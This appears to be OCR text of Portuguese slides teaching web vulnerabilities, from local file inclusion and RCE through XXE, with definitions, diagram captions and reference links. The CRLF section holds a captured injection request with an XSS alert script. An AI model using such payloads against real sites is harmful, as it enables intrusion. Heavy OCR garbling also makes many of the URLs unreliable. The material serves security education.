\\; LOCAL FILE INCLUSION - EXEMPLOS

Web Application Web Application Server

file=

htp:/ e hack.compayloadfile php

Execution of payloadfile.ghp on

._. the web-application.

Attacker’s Website
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LOCAL FILE INCLUSION - EXEMPLOS

https: / /www.acunetix.com/blog /articles /local-file-inclusion-Ifi /

https: / /www.offensive-security.com /metasploit-unleashed /file-inclusion-vulnerabilities /

http://labs.siteblindado.com /2017 /08 /o-que-e-vulnerabilidade-file-inclusion.html

https: / /www.youtube.com /watch2v=kcojXEwolls

https: / /www.youtube.com /watch?2v=V1gdO3QT-XY

https: / /www.youtube.com /watch2v=s3XQ1n5kdeQ

https: //www.hacker101.com/sessions/file inclusion.html

https: / /www.youtube.com /watch?2v=vg9BEEsnQ6A

https: / /medium.com /bugbountywriteup /finding-path-traversal-vulnerability-e2506d390569

https: / /www.youtube.com /watchev=MHBoCVvzXzc

hftps: / /www.youtube.com /watch?2v=khvwTKJqcsg



https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/
https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
http://labs.siteblindado.com/2017/08/o-que-e-vulnerabilidade-file-inclusion.html
https://www.youtube.com/watch?v=kcojXEwolIs
https://www.youtube.com/watch?v=V1gdO3QT-XY
https://www.youtube.com/watch?v=s3XQ1n5kdeQ
https://www.hacker101.com/sessions/file_inclusion.html
https://www.youtube.com/watch?v=vg9BEEsnQ6A
https://medium.com/bugbountywriteup/finding-path-traversal-vulnerability-e2506d390569
https://www.youtube.com/watch?v=MHBoCVvzXzc
https://www.youtube.com/watch?v=khvwTKJqcsg

N

REMOTE CODE EXECUTION

A Execucao Remota de Codigo € uma vulnerabilidade que pode ser explorada se a
entrada do usuario for injetada em um Arquivo ou String e executada (avaliada) pelo
analisador da linguagem de programacao. Normalmente, esse comportamento nao é
pretendido pelo desenvolvedor do aplicativo Web. Uma avaliacao remota de codigo
pode levar a um comprometimento total do aplicativo da web vulneravel e também
do servidor da web. E importante observar que quase todas as linguagens de
programacao possuem func¢des de avaliagao de codigo.

Uma Execucao de codigo pode ocorrer se vocé permitir a entrada do usuario dentro
de funcdes que estao avaliando o codigo na respectiva linguagem de

programacao. Isso pode ser implementado de proposito, por exemplo, para acessar
funcdes matematicas da linguagem de programacao para criar uma calculadora ou
acidentalmente, porque nao € de esperar que o desenvolvedor controle a entrada do
desenvolvedor dentro dessas funcoes. Geralmente nao € aconselhavel fazé-lo. De
fato, é considerado uma pratica ruim usar a avaliacao de codigo.

https: / /www.netsparker.com/blog/web-security /remote-code-evaluation-execution /



https://www.netsparker.com/blog/web-security/remote-code-evaluation-execution/

Attacker’s host

\\; REMOTE CODE EXECUTION - EXEMPLO

1 Compiles and hosts exploit Java class "Attack1” jar
O Creates directory structure for use later

Attacker

Executes jar
Imports Attack1 class

l 3 Jenkins requests exploit jar

2 Send request with pipeline script
includes location of “Attack1” jar

Vulnerable host

4 Attack1 class executes exploit code




N

REMOTE CODE EXECUTION - EXEMPLOS

1 https: / /www.youtube.com /watch2v=AuNwk--IfxU

https: / /www.ophtek.com /remote-code-execution-used /

O  ® https://www.thezdi.com/blog/2020/2 /24 /cve-2020-0688-remote-code-execution-on-microsoft-exchange-
server-through-fixed-cryptographic-keys

* https://www.youtube.com/watch2v=EqINWsORnRg

® https://www.contextis.com/en/blog/frag-grenade-a-remote-code-execution-vulnerability-in-the-steam-client

* hitps://www.youtube.com/watch2v=mjCAcQ5HFII

https: //www.youtube.com /watch?v=xIUFQcé6 MOHk

l * https://www.youtube.com/watch2v=kenJMKXnW 1k

P https: / /medium.com/@corneacristian /top-25-rce-bug-bounty-reports-bc2555cca7be
[

https: //www.bugcrowd.com /resources/glossary /remote-code-execution-rce /

®) https: / /hackerone.com/reports /546753

® htfps://qgithub.com/ngalongc/bug-bounty-reference

s
(



https://www.youtube.com/watch?v=AuNwk--lfxU
https://www.ophtek.com/remote-code-execution-used/
https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
https://www.youtube.com/watch?v=EqlNWsORnRg
https://www.contextis.com/en/blog/frag-grenade-a-remote-code-execution-vulnerability-in-the-steam-client
https://www.youtube.com/watch?v=kcnJMKXnW1k
https://www.youtube.com/watch?v=mjCAcQ5HFlI
https://www.youtube.com/watch?v=xlUFQc6M0Hk
https://medium.com/@corneacristian/top-25-rce-bug-bounty-reports-bc9555cca7bc
https://www.bugcrowd.com/resources/glossary/remote-code-execution-rce/
https://hackerone.com/reports/546753
https://github.com/ngalongc/bug-bounty-reference
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OPEN REDIRECT

\l\@ As vulnerabilidades de redirecionamento aberto surgem guando um aplicativo g

iIncorpora dados controlaveis pelo usuario no destino de um redirecionamento

de maneira insegura. Um invasor pode construir uma URL no aplicativo que

causa um redirecionamento para um dominio externo arbitrario. Esse

comportamento pode ser aproveitado para facilitar atagues de phishing contra

l usuarios do aplicativo. A capacidade de usar um URL de aplicativo auténtico,
direcionado ao dominio correto e com um certificado SSL valido (se o SSL for

usado), confere credibilidade ao ataque de phishing, porqgue muitos usuarios,

mesmo que verifilquem esses recursos, nao notarao o redirecionamento

subsequente para um dominio diferente.

¢ https://portswigger.net /kb /issues /00500100 open-redirection-reflected



https://portswigger.net/kb/issues/00500100_open-redirection-reflected

OPEN REDIRECT - EXEMPLO

Open Redirection
Vulnerability

DESIRED
; e ﬁl DESTINATION
-
TRUSTED OPEN \
SITE REDIRECT

MALICIOUS
REDIRECTION




O

© Open Redirection Attack Process

\\; OPEN REDIRECT - EXEMPLO

User clicks a link to
a trusted site

Trusted Site
Login/Redirect Page

User logs into site
successfully

301 Querystring URL
User receives Redirect redirects user to
redirect malicious site

User redirected to

o ! Malicious Site
[ 4




N,

OPEN REDIRECT ATTACK - EXEMPLOS

1 https: / /www.youtube.com/watch2v=4Jk |-cw4WE

https: //www.youtube.com /watch2v=ReVORQcecGU

O  ° https://www.youtube.com/watch?v=5-xzOCIMJts

® hitps://medium.com/@corneacristian /top-25-open-redirect-bug-bounty-reports-5ffe 11788794

® https://hackerone.com/reports /504751

® https://hackerone.com/reports /373916
l ® https://www.youtube.com/watch2v=xBQY b5MUkk

* https://www.youtube.com /watch2v=3P10Kd8m9bY

* https://www.youtube.com/watch2v=ul1 aZEgHNNU

p https: / /medium.com/@nnez /1 st-bug-bounty-write-up-open-redirect-vulnerability-on-login-page-5e0dd9aéeb 69
[

https:/ /hackerone.com /reports /665651

® hitps://www.youtube.com/watch?v=0zbygzfdzv4

% https://www.youtube.com/watch2v=XOmV9HXbKHY
o bttps://www.youtube.com/watch2v=X0mV9HXbKHY



https://www.youtube.com/watch?v=4Jk_I-cw4WE
https://www.youtube.com/watch?v=ReVORQcecGU
https://www.youtube.com/watch?v=5-xzOCIMJts
https://medium.com/@corneacristian/top-25-open-redirect-bug-bounty-reports-5ffe11788794
https://hackerone.com/reports/504751
https://hackerone.com/reports/373916
https://www.youtube.com/watch?v=xBQY_b5MUkk
https://www.youtube.com/watch?v=3P10Kd8m9bY
https://www.youtube.com/watch?v=uI1a7EgHNNU
https://medium.com/@nnez/1st-bug-bounty-write-up-open-redirect-vulnerability-on-login-page-5e0dd9a6eb69
https://hackerone.com/reports/665651
https://www.youtube.com/watch?v=Ozbygzfdzv4
https://www.youtube.com/watch?v=X0mV9HXbKHY
https://www.youtube.com/watch?v=X0mV9HXbKHY
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CRLF INJECTION

1 O termo refere-se a CRLF Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, ‘(
\n). Eles sao usados para observar o termino de uma linha, no entanto,

tratado de maneira diferente nos populares sistemas operacionais de

hoje. Por exemplo: no Windows, € necessario um CR e LF para observar o

final de uma linha, enquanto no Linux / UNIX, um LF é necessario apenas. NO

l protocolo HTTP, a sequéncia CR-LF & sempre usada para terminar uma linha.

O

* Um ataque de injecao de CRLF ocorre quando um usuario consegue enviar
um CRLF para um aplicativo. Isso geralmente é feito modificando um
parametro HTTP ou URL.



CRLF INJECTION

\l Dependendo de como o aplicativo € desenvolvido, isso pode ser um problema menor [(
ou uma falha de seguranca bastante seria. Vejamos o ultimo porque, afinal, esta &
uma postagem relacionada a seguranca.

* Vamos supor que um arquivo seja usado em algum momento para ler / gravar dados
em algum tipo de log. Se um invasor conseguiu colocar uma CRLF, pode injetar
algum tipo de metodo programatico de leitura no arquivo. Isso pode resultar na

l gravacao do conteudo na tela na proxima tentativa de usar esse arquivo.

* Outro exemplo séo os ataques de "divisao de respostas”, em que os CRLFs séo
iInjetados em um aplicativo e incluidos na resposta. Os CRLFs extras sao
Interpretados por proxies, caches e talvez navegadores como o final de um pacote,
causando problemas.

https:/ /owasp.org/www-community /vulnerabilities /CRLF Injection



https://owasp.org/www-community/vulnerabilities/CRLF_Injection

CRLF INJECTION

r Window Heb

| s | Scanner Ilntruderi IaamT“

EXEMPLO

i Follow redirection

Hx_-quv-'nr

Raw IParafm THeaoersTHem ]

Target: http: Iy | <

| Raw | Hesders [ Hex | HuL | Render |

{
i

ET
/redic. php’C-?dd1d1h~”7cli"b*abcb‘°5151nc5d4LLU?L-‘
ECTS0DY0ASZ0C oy b,

[ xs3posed. ﬁ'(*CPLF*]VJEFTICV03‘~’“PEN'PEDIP
HTTP/1.1

User-Agent: Mozilla/S.0 (Vindows NT €.1; VOWE4: rv:38.0) Gecko/20100101 Firefox/38.0
ccept: text/html,application/xhtmi+xml,application/xml:q=0.9,*/*:q=0.8
Accept~Language: ru-RU,ru;¢=0.8,2n-US;q=0.5,en;q=0.3

ccept-Encoding: ¢zip, detlace

DNT: 1

cokie: PHPSESSID#ngOrrOébvamit9dSsclloeh370

onnection: keep-~alive

HTTP/L1.1 301 Moved Permanently

servet Apachﬂ/v., 1S (Red Hat)

Location: //xssposed.org CRLF INJECTION XSS OPEN REDIRECT Content~Tpe:text/html
Content-Leangth 232 <scr1pt>ale:tl'XSSPOSED e3xplosic') </script

Content~-Type toxt/html charsec~UTF~-8

cache~control: max-age=1800

Contenv-Length: 306

Date: Wed, 03 Jun 2Z0LS L€:31:41 GMT

A-Varnish: 71£5€2032

Age: O

Via: 1.1 varnish

Conneccion: keap-alive

OPEN REDIRECT

Redirecting to <a href="//xssposed.org CRLF INJECTICN XSS

< .y

Cunt&nt Lonqth

<mcraptralert (' XSSPOSED e3xplOit')</mcript”>//xssposed.org CRLF INJECTION XSS OPEN REDIRECT
Content-Type: text /html
Content-Length

<script>alert('XSSPOSED e3xplOit')</script>
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CRLF - EXEMPLOS

https: / /medium.com/@briskinfosec/crlf-injection-attack-fOcb50554aab

https: / /medium.com /bugbountywriteup /bugbounty-exploiting-crlf-injection-can-lands-into-a-

hice-bounty-159525a9cb62

https: / /www.netsparker.com/blog /web-security /crlf-http-header/

https: / /hackerone.com/reports /44627 1

https: / /medium.com/cyberverse /crlf-injection-playbook-472c67f1cb46

https: / /hackerone.com /reports /52042

https: / /www.youtube.com /watch2v=ODFfwW 2kxCE

® https: / /www.youtube.com /watch?2v=RUIb2LKFia8

https: / /www.youtube.com/watch2v=rAzgbAvqgfhl

https: / /github.com /EdOverflow /bugbounty-cheatsheet /blob /master /cheatsheets /crlf.md

s
(



https://medium.com/@briskinfosec/crlf-injection-attack-f0cb50554aab
https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62
https://www.netsparker.com/blog/web-security/crlf-http-header/
https://hackerone.com/reports/446271
https://medium.com/cyberverse/crlf-injection-playbook-472c67f1cb46
https://hackerone.com/reports/52042
https://www.youtube.com/watch?v=ODFfwW2kxCE
https://www.youtube.com/watch?v=RUIb2LKEia8
https://www.youtube.com/watch?v=rAzgbAvqfhI
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
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DNS HIJACKING

\l O sequestro de servidor de nome de dominio (DNS), também chamado de redirecionamento

de DNS, é um tipo de ataque DNS no qual as consultas DNS sao resolvidas incorretamente

O para redirecionar inesperadamente usuarios para sites maliciosos. Para realizar o ataque, os
autores instalam malware nos computadores dos usuarios, assumem o controle de

roteadores ou interceptam ou cortam a comunicacao DNS.

* O sequestro de DNS pode ser usado para pharming (nesse contexto, os atacantes
geralmente exibem anuncios indesejados para gerar receita) ou para phishing (exibindo

versoes falsas de sites acessados por usuarios e roubando dados ou credenciais).

®* Muitos provedores de servicos de Internet (ISPs) também usam um tipo de sequestro de DNS
para controlar as solicitacdes de DNS de um usuario, coletar estatisticas e retornar anuncios
guando os usuarios acessam um dominio desconhecido. Alguns governos usam o sequestro
de DNS para censura, redirecionando usuarios para sites autorizados pelo governo.



https://www.imperva.com/Resources/Glossary/pharming
https://www.imperva.com/learn/application-security/phishing-attack-scam/

DNS HIJACKING

\l Existem quatro tipos basicos de redirecionamento de DNS: [(

Sequestro de DNS local - os invasores instalam o malware Trojan no computador do usuario e
alteram as configuracoes de DNS local para redirecionar o usuario para sites maliciosos.

® Sequestro de DNS do roteador - muitos roteadores tém senhas padrao ou vulnerabilidades
de firmware. Os invasores podem assumir o controle de um roteador e substituir as
l configuracoes de DNS, afetando todos os usuarios conectados a esse roteador.

* MITM ataques DNS - os invasores interceptam a comunicacao entre um usuario e um
servidor DNS e fornecem enderecos IP de destino diferentes, apontando para sites
maliciosos.

®)Servidor DNS nao autorizado - os invasores podem invadir um servidor DNS e alterar os
registros DNS para redirecionar solicitacoes de DNS para sites maliciosos.

¢ https://www.imperva.com/learn/application-security /dns-hijacking-redirection/



https://www.imperva.com/learn/application-security/dns-hijacking-redirection/

DNS HIJACKING - EXEMPLO

Normal DMNS
Rezalutlan

| AERNRERY

Kample.com
SErver

DN5 Hijacking

L
Malicious
SErVer

Example.com
SErver




e

H
1)
A
C
K
ING
-
X
F
M
P
LO




\

DNS HIJACKING - EXEMPLO

DNS Hijacking attack

DNS SERVER
User types "Wordpress.org"
into the browser. . Attackers change

ttings.

What is the IP for Wordpress.org? Mame servers and
Y Y Y IP requests.
— — —
Malicious IP
Returns IP of a fraudulent ROGUE DNS SERVER addresses. CAC SERVER
website intended for
User is redirected to an pharmig or phishing. Replace them to
infected website point towards a
server under their

control.

HEIMDAL




DNS HIJACKING - EXEMPLOS

1 https: / /blog.eccouncil.org /what-is-dns-hijacking-and-how-to-combat-it /

* https://www.youtube.com /watch?2v=4HkRpCBcXoE

® https://www.youtube.com /watch2v=HhJv8CU-RIk

® https://en.wikipedia.org/wiki/DNS hijacking

l ® https://securitytrails.com /blog /dns-hijacking

® https://www.paloaltonetworks.com/cyberpedia/what-is-dns-hijacking

[ o



https://blog.eccouncil.org/what-is-dns-hijacking-and-how-to-combat-it/
https://www.youtube.com/watch?v=4HkRpCBcXoE
https://www.youtube.com/watch?v=HhJv8CU-RIk
https://en.wikipedia.org/wiki/DNS_hijacking
https://securitytrails.com/blog/dns-hijacking
https://www.paloaltonetworks.com/cyberpedia/what-is-dns-hijacking
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SESSION HIJACKING

1 gue de sequestro de sesséao consiste na exploracao do mecanismo de controle de sessao da web, que normalmente
/

é\gerenciado para um token de sesséao.

Como a comunicacao http usa muitas conexdes TCP diferentes, o servidor da web precisa de um método para reconhecer
as conexodes de todos os usuarios. O método mais util depende de um token que o servidor da Web envia ao navegador do
cliente apds uma autenticagcao bem-sucedida do cliente. Um token de sessao é normalmente composto por uma sequéncia
de largura variavel e pode ser usado de diferentes maneiras, como na URL, no cabecalho da requisi¢céo http como um
cookie, em outras partes do cabecalho da solicitac&o http ou ainda no corpo da requisicao http.

* O ataque de sequestro de sessao compromete o token da sessao roubando ou prevendo um token de sessao valido para
]D obter acesso n&o autorizado ao servidor Web.

token da sesséo pode ser comprometido de diferentes maneiras; 0s mais comuns Sao:

Token de sessao previsivel;

Sniffing de sessao;

Ataques do lado do cliente (XSS, codigos JavaScript maliciosos, cavalos de Troia, etc);
MITM
MITB

hitps: / [owasp.org/www-community /attacks /Session hijacking attack



https://owasp.org/www-community/attacks/Session_hijacking_attack

SESSION HIJACKING - EXEMPLO

2. Victim authenticates on server

.

Login: user1, password: 1234 *

= 7 —— d
- ¢ . 28rver returns page coae

with injected script
Sessigh |D: F7299EBA209CC23

Attacker




\\; SESSION HIJACKING - EXEMPLO

Session 1D = ACF3D3ISF216AAEFC
—_— i

O

Session ID=ACF3D35F216AAEFC

Victim Sniffing a
legitim

l Session
[ e
icti ”

Attacker




N

SESSION HIJACKING - EXEMPLOS

1 https: //www.youtube.com/watchev=fxrCINQ96Kg

https: / /www.youtube.com /watch?2v=0OtlaTf906 5w

® https://www.netsparker.com/blog /web-security /session-hijacking /

® hitps://www.diegomacedo.com.br/entendendo-o-sequestro-de-sessao-session-hijacking /

https: //www.youtube.com/watch2v=0ep-vgrwhyM

https: / /hackerone.com/reports /167460

l ® https://www.youtube.com/watch?2v=J5gAK1X8Jlk

.\O.

https: / /www.youtube.com /watch?2v=tkSmaMISQIE

https: / /www.youtube.com /watch?2v=AeéDI9fYgWI

¢ htips://threatpost.com/session-hijacking-bug-exposed-gitlab-users-private-tokens /127747 /



https://www.youtube.com/watch?v=fxrCJNQ96Kg
https://www.youtube.com/watch?v=OtlaTf9065w
https://www.netsparker.com/blog/web-security/session-hijacking/
https://www.diegomacedo.com.br/entendendo-o-sequestro-de-sessao-session-hijacking/
https://www.youtube.com/watch?v=J5gAK1X8JIk
https://www.youtube.com/watch?v=0ep-vqrwhyM
https://hackerone.com/reports/167460
https://www.youtube.com/watch?v=tkSmaMlSQ9E
https://www.youtube.com/watch?v=Ae6Dl9fYqWI
https://threatpost.com/session-hijacking-bug-exposed-gitlab-users-private-tokens/127747/

INSECURE DESEREALIZATION

A desserializacao insegura € uma vulnerabilidade que ocorre quando dados nao confiaveis sao usados para abusar
da l6gica de um aplicativo, infligir um ataque de negacao de servico (DoS) ou mesmo executar codigo arbitrario
apos a desserializacao . Também ocupa o 8° lugar na lista dos 10 melhores da OWASP 2017 .

Para entender o que € desserializacdao insegura, primeiro precisamos entender o que sao serializacdo e
desserializacao. Em seqguida, abordaremos alguns exemplos de desserializacao insegura e como ela pode ser usada
para executar codigo, além de discutir algumas possiveis mitigagdes para essa classe de vulnerabilidade.

Serializacao refere-se a um processo de conversao de um objeto em um formato que pode ser mantido em disco
(por exemplo, salvo em um arquivo ou armazenamento de dados), enviado por fluxos (por exemplo, stdout) ou
enviado por uma rede. O formato no qual um objeto é serializado pode ser um texto binario ou estruturado (por
exemplo, XML, JSON YAML...). JSON e XML sao dois dos formatos de serializacdo mais usados em aplicativos da
web.

A desserializacao, por outro lado, é o oposto da serializacao, ou seja, transformar dados serializados provenientes
de um arquivo, fluxo ou soquete de rede em um objeto.

Os aplicativos da Web usam serializacao e desserializacao regularmente e a maioria das linguagens de programacao
fornece recursos nativos para serializar dados (especialmente em formatos comuns como JSON e XML). E
importante entender que a desserializacao segura de objetos € uma pratica normal no desenvolvimento de
software. O problema, no entanto, comeca ao desserializar a entrada nao confiavel do usuario .

bftps: //www.acunetix.com/blog /articles /what-is-insecure-deserialization /



https://www.acunetix.com/blog/articles/owasp-top-10-2017/
https://www.acunetix.com/blog/articles/owasp-top-10-2017/
https://www.acunetix.com/blog/articles/what-is-insecure-deserialization/

\\; INSECURE DESEREALIZATION - EXEMPLO

/] I
Serialized I Serialized n
@) Object I Object
Attacker simulate serialized
data as same as actual source

Deseﬁalize S—— ;
Object (Without E Application trust attacker's

p i source
verification)

R

Take an action Attackers take any action

such as destroy, stolen, etc.
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INSECURE DESERALIZATION - EXEMPLOS

1 https: / /hdivsecurity.com/bornsecure /insecure-deserialization-attack-examples-mitigation /

https: / /portswigger.net /web-security /deserialization

® https://owasp.org/www-project-top-ten/OWASP Top Ten 2017 /Top 10-2017 A8-

Insecure Deserialization

® https://www.youtube.com/watch2v=nkTBwbnfesQ

https: / /www.youtube.com /watch2v=5grJYo?lgYO0

l ® https://www.youtube.com/watch?2v=EzOquQNQAUs

é https: / /thehackerish.com /tag /insecure-deserialization-bug-bounty /
@

https: / /hackerone.com/reports /350401

* https:/ /hackerone.com/reports /838196

¢ https://www.exploit-db.com/docs/english /4475 6-deserialization-vulnerability.pdf

s
(



https://hdivsecurity.com/bornsecure/insecure-deserialization-attack-examples-mitigation/
https://portswigger.net/web-security/deserialization
https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A8-Insecure_Deserialization
https://www.youtube.com/watch?v=nkTBwbnfesQ
https://www.youtube.com/watch?v=EzOquQNQAUs
https://www.youtube.com/watch?v=5grJYo9IqY0
https://thehackerish.com/tag/insecure-deserialization-bug-bounty/
https://hackerone.com/reports/350401
https://hackerone.com/reports/838196
https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf
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INSECURE DIRECT OBJECT REFERENCE (IDOR)

1 As referéncias diretas a objetos inseguras (IDOR) sao um tipo ‘(
de vulnerabilidade de controle de acesso que surge guando um aplicativo usa
O a entrada fornecida pelo usuario para acessar objetos diretamente. O termo
IDOR foi popularizado por sua aparicao no Top Ten da OWASP 2007. No
entanto, &€ apenas um exemplo de muitos erros de implementacao do controle
l de acesso gue podem levar a que os controles de acesso sejam

contornados. As vulnerabilidades do IDOR s&o mais comumente associadas a
escalacao de privilégios horizontais, mas tambem podem surgir em relacao a
escalacao de privilégios verticais.

* Existem muitos exemplos de vulnerabilidades de controle de acesso em que
valores de parametros controlados pelo usuario sao usados para acessar
recursos ou funcoes diretamente.


https://portswigger.net/web-security/access-control
https://portswigger.net/web-security/access-control
https://portswigger.net/web-security/access-control
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INSECURE DIRECT OBJECT REFERENCE (IDOR)

Insecure Direct Object Reference (IDOR)
Vulnerability

1. Hacker identifies web 2. Valid http request is
application using direct object executed and direct
reference(s) and requests object reference entity is
verified information. revealed.

https://banksite.com/account ?Id

HACKER DATABASE

https://banksite.com/account?Id

3. Direct object reference 4. http request is performed

entity is manipulated and without user verification and

http request is performed hacker is granted access to
again. sensitive information.
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INSECURE DIRECT OBJECT REFERENCE - EXEMPLOS

1 https: / /owasp.org /www-chapter-ghana /assets /slides /IDOR.pdf

https: //cheatsheetseries.owasp.org/cheatsheets /Insecure Direct Object Reference Prevention Cheat Sheet.html

O * https://www.youtube.com/watchev=bMYpGj2xzpM

® https://www.youtube.com/watch2v=rlogMGcPMkI

® https://www.youtube.com/watchev=TRDyvgkBcUs

* https://www.youtube.com/watch2v=ZodA76-CB10

® https://www.youtube.com/watchev=iNuougtx 1 MO

* https://www.youtube.com/watch2v=3K1-a7dnA60

l * https://www.youtube.com/watch2v=zBQqJfLNm2|

® https: //www.youtube.com /watch?v=rcfEq6NUF7E
[

https: //www.youtube.com /watch2v=DwdiBZuix 1k

* hitps://www.youtube.com/watch2v=-y-OcymRcZs

% https://www.youtube.com/watch2v=HQUxXE1oalE

° https://www.youtube.com/watchev=HQZ0ZawghDY

s



https://owasp.org/www-chapter-ghana/assets/slides/IDOR.pdf
https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html
https://www.youtube.com/watch?v=bMYpGj2xzpM
https://www.youtube.com/watch?v=rloqMGcPMkI
https://www.youtube.com/watch?v=TRDyvgkBcUs
https://www.youtube.com/watch?v=ZodA76-CB10
https://www.youtube.com/watch?v=zBQqJfLNm2I
https://www.youtube.com/watch?v=jNuougtx1M0
https://www.youtube.com/watch?v=3K1-a7dnA60
https://www.youtube.com/watch?v=rcfEq6NUF7E
https://www.youtube.com/watch?v=DwdiBZuix1k
https://www.youtube.com/watch?v=-y-OcymRcZs
https://www.youtube.com/watch?v=HQUxXE1oaIE
https://www.youtube.com/watch?v=HQZ0ZawqhDY

RACE CONDITION

Um ataque de condi¢do de corrida acontece quando um sistema de computagdo projetado para lidar com tarefas
em uma sequéncia especifica é forcado a executar duas ou mais operagdes simultaneamente. Essa técnica aproveita
um intervalo de tempo entre o momento em que um servigco € iniciado e o momento em que um controle de
seguranga entra em vigor. Esse ataque, que depende de aplicativos multithread, pode ser realizado de duas
maneiras: interferéncia causada por processos ndo confidveis (essencialmente um trecho de cédigo que desliza em
uma sequéncia entre as etapas de programas seguros) e interferéncia causada por um processo confidvel, que
podem ter os privilégios "mesmos ". Sem controles adequados, processos diferentes podem interferir entre si. Outros

nomes usados para se referir a esta vulnerabilidade incluem ataques Tempo de verificacdo / tempo de uso ou TOC

/ TOU.

Aplicativos da Web, sistemas de arquivos e ambientes de rede sao todos vulneraveis a um ataque de condicao de
corrida. Os invasores podem ter como alvo uma lista de controle de acesso (ACL), uma folha de pagamento ou
banco de dados de recursos humanos, um sistema transacional, um razao financeiro ou algum outro repositoério
de dados. Embora os ataques das condicdes de corrida ndao ocorram com fregtiéncia - porgue sao relativamente
dificeis de projetar e os atacantes devem explorar uma breve janela de oportunidade - quando acontecem, eles
podem levar a sérias repercussoes, incluindo um sistema que concede privilégios nao autorizados. Além disso,
ataques de condicao de corrida sao inerentemente dificeis de detectar.

9 Mttps://www.veracode.com/security /race-condition



https://www.veracode.com/security/race-condition#:~:text=A%20race%20condition%20attack%20happens,two%20or%20more%20operations%20simultaneously.&text=Other%20names%20used%20to%20refer,Use%20or%20TOC%2FTOU%20attacks.
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RACE CONDITION - EXEMPLOS

https:/ /hackaday.com/2015/04 /29 /race-conditions-exploit-granted-free-money-on-web-services/

¢ https://resources.infosecinstitute.com /category /certifications-training /secure coding /race-condition-vulnerabilities /#gref

* http://www.cis.syr.edu/~wedu/Teaching /IntrCompSec/LectureNotes New /Race Condition.pdf

* https://en.wikipedia.org/wiki/Race condition

® https://resources.securitycompass.com/blog/moving-beyond-the-owasp-top-10-part-1-race-conditions-2

* hitps://medium.com/@corneacristian /top-25-race-condition-bug-bounty-reports-84f907 3bf9e 5

* hitps://medium.com/@ciph3r7rOll /chaining-improper-authorization-to-race-condition-to-harvest-credit-card-details-a-bug-
bounty-effe6e0f5076

* https://hackerone.com/reports /454949

* https://blog.intigriti.com/2019/09/24 /bug-bytes-37-how-to-find-more-idors-race-condition-to-rce-tracy /

P https: //www.youtube.com /watch2v=R3B3JaaYpbl

®) https:/ /www.youtube.com /watch?v=9qPusaWé CM

* https://medium.com/@stokochtrubbel /how-to-get-started-in-bug-bounty-9-pro-tips-69c1 3f3c74cbd

* https://www.bugcrowd.com/resources/webinars/turbo-intruder-abusing-http-misfeatures-to-accelerate-attacks-by-james-kettle /



https://hackaday.com/2015/04/29/race-conditions-exploit-granted-free-money-on-web-services/
https://resources.infosecinstitute.com/category/certifications-training/secure_coding/race-condition-vulnerabilities/#gref
http://www.cis.syr.edu/~wedu/Teaching/IntrCompSec/LectureNotes_New/Race_Condition.pdf
https://en.wikipedia.org/wiki/Race_condition
https://resources.securitycompass.com/blog/moving-beyond-the-owasp-top-10-part-1-race-conditions-2
https://medium.com/@corneacristian/top-25-race-condition-bug-bounty-reports-84f9073bf9e5
https://medium.com/@ciph3r7r0ll/chaining-improper-authorization-to-race-condition-to-harvest-credit-card-details-a-bug-bounty-effe6e0f5076
https://hackerone.com/reports/454949
https://blog.intigriti.com/2019/09/24/bug-bytes-37-how-to-find-more-idors-race-condition-to-rce-tracy/
https://www.youtube.com/watch?v=R3B3JaaYpbI
https://www.youtube.com/watch?v=9qPusaW6_CM
https://medium.com/@stokochtrubbel/how-to-get-started-in-bug-bounty-9-pro-tips-69c13f3c74c6
https://www.bugcrowd.com/resources/webinars/turbo-intruder-abusing-http-misfeatures-to-accelerate-attacks-by-james-kettle/

\!@ ML EXTERNAL ENTITY INJECTION (XXE)

m ataque de entidade externa XML € um tipo de ataque contra um aplicativo que analisa a entra

ML. Esse ataque ocorre quando a entrada XML que contém uma referéncia a uma entidade fﬂ

\l externa e processada por um analisador XML mal configurado . Esse ataque pode levar a
divulgacao de dados confidenciais, negacao de servico, falsificacéo de solicitacao do servidor,

O varredura de portas na perspectiva da maquina em que o analisador esta localizado e outros

Impactos no sistema.

* Os ataques podem incluir a divulgacao de arquivos locais, gue podem conter dados confidenciais,
como senhas ou dados de usuarios particulares, usando esquemas file: ou caminhos relativos no
identificador do sistema. Como o ataque ocorre em relacao ao aplicativo que processa o documento

l XML, um invasor pode usar esse aplicativo confiavel para dinamizar outros sistemas internos,

possivelmente divulgando outro conteudo interno por meio de solicitacoes http (s) ou iniciando

um CSRFataque a quaisguer servicos internos desprotegidos. Em algumas situacoes, uma

biblioteca de processador XML vulneravel a problemas de corrupcédo de memaria no cliente pode ser

explorada desreferenciando um URI mal-intencionado, possivelmente permitindo a execucao
arbitraria de codigo na conta do aplicativo. Outros ataques podem acessar recursos locais que
podem nao parar de retornar dados, possivelmente afetando a disponibilidade do aplicativo se

Muitos processos ou threads nao forem liberados.

* hitps://owasp.org/www-community /vulnerabilities /XML External Entity (XXE) Processing



https://owasp.org/www-community/vulnerabilities/CSRF
https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

XI\/IL EXTERNAL ENTITY INJECTION (XXE) - EXEMPLOS

XML External Entity Attack (XXE)

5. Sensitive data is
shared with hacker. Username

|
Password

1. Hacker identifies WEB
HACKER application with weakly- APPLICATION
configured XML parser &
sends XML request.

2. XML processor retrieves
malicious external entity
within the Document Type
Declaration (DTD).

3. XML processor validates
DTD & resolves malicious
external entity.

HACKER _ TARGET
SERVER 4. XML request is parsed. SERVER




XML EXTERNAL ENTITY INJECTION (XXE) - EXEMPLOS

a

Attacker

Parsing

Attacker’s
server

S
(
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XML EXTERNAL ENTITY INJECTION (XXE) - EXEMPLOS

http: / /mamaquieroserpentester.blogspot.com/2018 /02 /xml-external-entity-you-can-call-me-xxe.html

https: / /www.infosec.com.br /xml-external-entity /

* https://www.youtube.com /watch2v=UhgCFQb dw8

® https://www.youtube.com/watch?2v=gjméVHZa 8s

* https://www.youtube.com/watch?2v=IMw2C6éEJaDo

